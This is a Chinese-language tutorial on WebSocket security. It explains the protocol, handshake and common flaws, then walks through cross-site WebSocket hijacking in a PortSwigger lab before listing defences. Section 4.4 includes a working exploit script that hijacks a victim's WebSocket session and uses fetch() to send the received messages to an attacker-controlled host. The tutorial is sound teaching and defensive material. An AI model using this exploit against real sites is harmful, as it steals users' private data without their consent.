WebSocket安全性分析教学文档

1. WebSocket简介

WebSocket是HTML5的一种新的网络传输协议，位于OSI模型的应用层，可在单个TCP连接上进行全双工通信。WebSocket基于TCP协议之上，与HTTP协议有良好的兼容性。

• 协议标识符：ws（未加密）或wss（加密）
• 主要特点：全双工通信，低延迟
• 与HTTP的区别：
  • HTTP是请求-响应式，WebSocket是双向通信
  • HTTP1.1开始支持TCP连接复用，WebSocket本身就是长连接

2. WebSocket通信建立过程

2.1 客户端创建连接

var ws = new WebSocket("wss://normal-website.com/chat");

2.2 握手过程

WebSocket通过HTTP协议发起握手请求，服务器同意后完成三次握手建立连接。

请求头关键字段：

• Connection: Upgrade
• Upgrade: websocket
• Sec-WebSocket-Version: 通常为13
• Sec-WebSocket-Key: Base64编码的随机值（非认证用途）

响应头关键字段：

• Sec-WebSocket-Accept: 包含对Sec-WebSocket-Key的哈希值，用于防止错误配置或缓存代理误导

2.3 通信过程

建立连接后，客户端和服务端可以双向发送消息：

ws.send("hello websocket");

消息内容可以是任何格式，现代应用通常使用JSON发送结构化数据。

3. WebSocket使用场景

基于全双工、低延迟特性，适用于：

• 实时聊天应用
• 弹幕系统
• 协同编辑工具
• 股票报价实时更新
• 位置更新服务
• 直播实况

4. WebSocket安全性分析

WebSocket本身是一种通信协议，不解决Web应用安全问题，HTTP协议中的安全问题在WebSocket中同样存在。

4.1 常规漏洞

用户输入可控的请求数据如果没有进行充分校验，可能导致：

• XSS（跨站脚本攻击）
• SQL注入
• RCE（远程代码执行）

利用方式：通过抓包重放，修改请求值

4.2 权限认证问题

WebSocket协议未规定身份认证机制，服务器可采用：

• Cookie认证
• HTTP基础认证
• TLS身份认证

安全问题：

• 认证实现问题与HTTP相同
• 示例漏洞：CVE-2015-0201（Spring框架SockJS客户端生成可预测会话ID）

4.3 授权问题

WebSocket协议未指定授权方式，依赖开发者实现，存在：

• 垂直越权
• 水平越权

4.4 跨站WebSocket劫持（CSWSH）

全称：Cross-site WebSocket Hijacking

漏洞条件：

• WebSocket握手仅依赖HTTP cookie
• 不包含CSRF token或其他不可预测值

判断方法：
检查握手请求是否仅依赖session token进行会话处理

利用示例（PortSwigger靶场）：

1. 确认仅依赖cookie进行会话处理
2. 构造恶意页面建立WebSocket连接
3. 发送特定指令（如'READY'）获取敏感数据
4. 将数据外传到攻击者服务器

利用代码示例：

<script>
var ws = new WebSocket("wss://web-security-academy.net/chat");
ws.addEventListener('open', function(event) {
    ws.send('READY');
});
ws.onmessage = function(event) {
    fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'});
};
</script>

5. WebSocket安全防护措施

1. 输入输出验证：

   • 严格验证所有输入数据
   • 对输出进行适当编码

2. 握手过程保护：

   • 使用CSRF Token
   • 添加请求头令牌

3. 加密通信：

   • 使用wss://协议（基于TLS）

4. 授权控制：

   • 在服务器端实施严格的授权检查
   • 防止垂直和水平越权

5. Origin验证：

   • 验证客户端发来的Origin头
   • 注意：Origin头可以被伪造，不能作为唯一防护措施

6. 参考资源

1. FreeBuf WebSocket安全分析文章
2. FreeBuf WebSocket漏洞文章
3. PortSwigger Web Security Academy实验室